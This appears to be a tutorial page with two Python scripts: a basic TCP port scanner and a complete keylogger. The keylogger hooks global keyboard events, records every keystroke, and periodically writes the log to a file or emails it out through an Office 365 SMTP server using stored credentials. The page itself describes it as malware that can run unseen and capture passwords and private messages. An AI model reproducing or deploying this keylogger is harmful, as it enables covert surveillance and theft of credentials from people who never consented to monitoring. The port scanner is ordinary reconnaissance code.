Code
Port Scanner
Install
1
pip3 install colorama
Use
1
python3 fast_port_scanner.py 192.168.1.1 --ports 1-5000
Code
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import socket # for connecting
from colorama import init, Fore
# some colors
init()
GREEN = Fore.GREEN
RESET = Fore.RESET
GRAY = Fore.LIGHTBLACK_EX
def is_port_open(host, port):
"""
determine whether `host` has the `port` open
"""
# creates a new socket
s = socket.socket()
try:
# tries to connect to host using that port
s.connect((host, port))
# make timeout if you want it a little faster ( less accuracy )
s.settimeout(0.2)
except:
# cannot connect, port is closed
# return false
return False
else:
# the connection was established, port is open!
return True
# get the host from the user
host = input("Enter the host:")
# iterate over ports, from 1 to 1024
for port in range(1, 1025):
if is_port_open(host, port):
print(f"{GREEN}[+] {host}:{port} is open {RESET}")
else:
print(f"{GRAY}[!] {host}:{port} is closed {RESET}", end="\r")
Get the file: fast_port_scanner.py
Keylogger
A keylogger is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer’s keyboard. It is also considered malware since it can be invisible running in the background, and the user cannot notice the presence of this program.
With a keylogger, you can easily use this for unethical purposes; you can register everything the user is typing on the keyboard, including credentials, private messages, etc., and send them back to you.
Modules
1
pip3 install keyboard
This module allows you to take complete control of your keyboard, hook global events, register hotkeys, simulate key presses, and much more, and it is a small module, though.
Code
Run the code for 60 seconds and it will create a txt file.
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import keyboard # for keylogs
import smtplib # for sending email using SMTP protocol (gmail)
# Timer is to make a method runs after an `interval` amount of time
from threading import Timer
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on
EMAIL_ADDRESS = "email@provider.tld"
EMAIL_PASSWORD = "password_here"
class Keylogger:
def __init__(self, interval, report_method="email"):
# we gonna pass SEND_REPORT_EVERY to interval
self.interval = interval
self.report_method = report_method
# this is the string variable that contains the log of all
# the keystrokes within `self.interval`
self.log = ""
# record start & end datetimes
self.start_dt = datetime.now()
self.end_dt = datetime.now()
def callback(self, event):
"""
This callback is invoked whenever a keyboard event is occured
(i.e when a key is released in this example)
"""
name = event.name
if len(name) > 1:
# not a character, special key (e.g ctrl, alt, etc.)
# uppercase with []
if name == "space":
# " " instead of "space"
name = " "
elif name == "enter":
# add a new line whenever an ENTER is pressed
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
# replace spaces with underscores
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
# finally, add the key name to our global `self.log` variable
self.log += name
def update_filename(self):
# construct the filename to be identified by start & end datetimes
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
def report_to_file(self):
"""This method creates a log file in the current directory that contains
the current keylogs in the `self.log` variable"""
# open the file in write mode (create it)
with open(f"{self.filename}.txt", "w") as f:
# write the keylogs to the file
print(self.log, file=f)
print(f"[+] Saved {self.filename}.txt")
def prepare_mail(self, message):
"""Utility function to construct a MIMEMultipart from a text
It creates an HTML version as well as text version
to be sent as an email"""
msg = MIMEMultipart("alternative")
msg["From"] = EMAIL_ADDRESS
msg["To"] = EMAIL_ADDRESS
msg["Subject"] = "Keylogger logs"
# simple paragraph, feel free to edit
html = f"<p>{message}</p>"
text_part = MIMEText(message, "plain")
html_part = MIMEText(html, "html")
msg.attach(text_part)
msg.attach(html_part)
# after making the mail, convert back as string message
return msg.as_string()
def sendmail(self, email, password, message, verbose=1):
# manages a connection to an SMTP server
# in our case it's for Microsoft365, Outlook, Hotmail, and live.com
server = smtplib.SMTP(host="smtp.office365.com", port=587)
# connect to the SMTP server as TLS mode ( for security )
server.starttls()
# login to the email account
server.login(email, password)
# send the actual message after preparation
server.sendmail(email, email, self.prepare_mail(message))
# terminates the session
server.quit()
if verbose:
print(f"{datetime.now()} - Sent an email to {email} containing: {message}")
def report(self):
"""
This function gets called every `self.interval`
It basically sends keylogs and resets `self.log` variable
"""
if self.log:
# if there is something in log, report it
self.end_dt = datetime.now()
# update `self.filename`
self.update_filename()
if self.report_method == "email":
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
# if you don't want to print in the console, comment below line
print(f"[{self.filename}] - {self.log}")
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
# set the thread as daemon (dies when main thread die)
timer.daemon = True
# start the timer
timer.start()
def start(self):
# record the start datetime
self.start_dt = datetime.now()
# start the keylogger
keyboard.on_release(callback=self.callback)
# start reporting the keylogs
self.report()
# make a simple message
print(f"{datetime.now()} - Started keylogger")
# block the current thread, wait until CTRL+C is pressed
keyboard.wait()
if __name__ == "__main__":
# if you want a keylogger to send to your email
# keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
# if you want a keylogger to record keylogs to a local file
# (and then send it using your favorite method)
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
keylogger.start()
Get the file: keylogger.py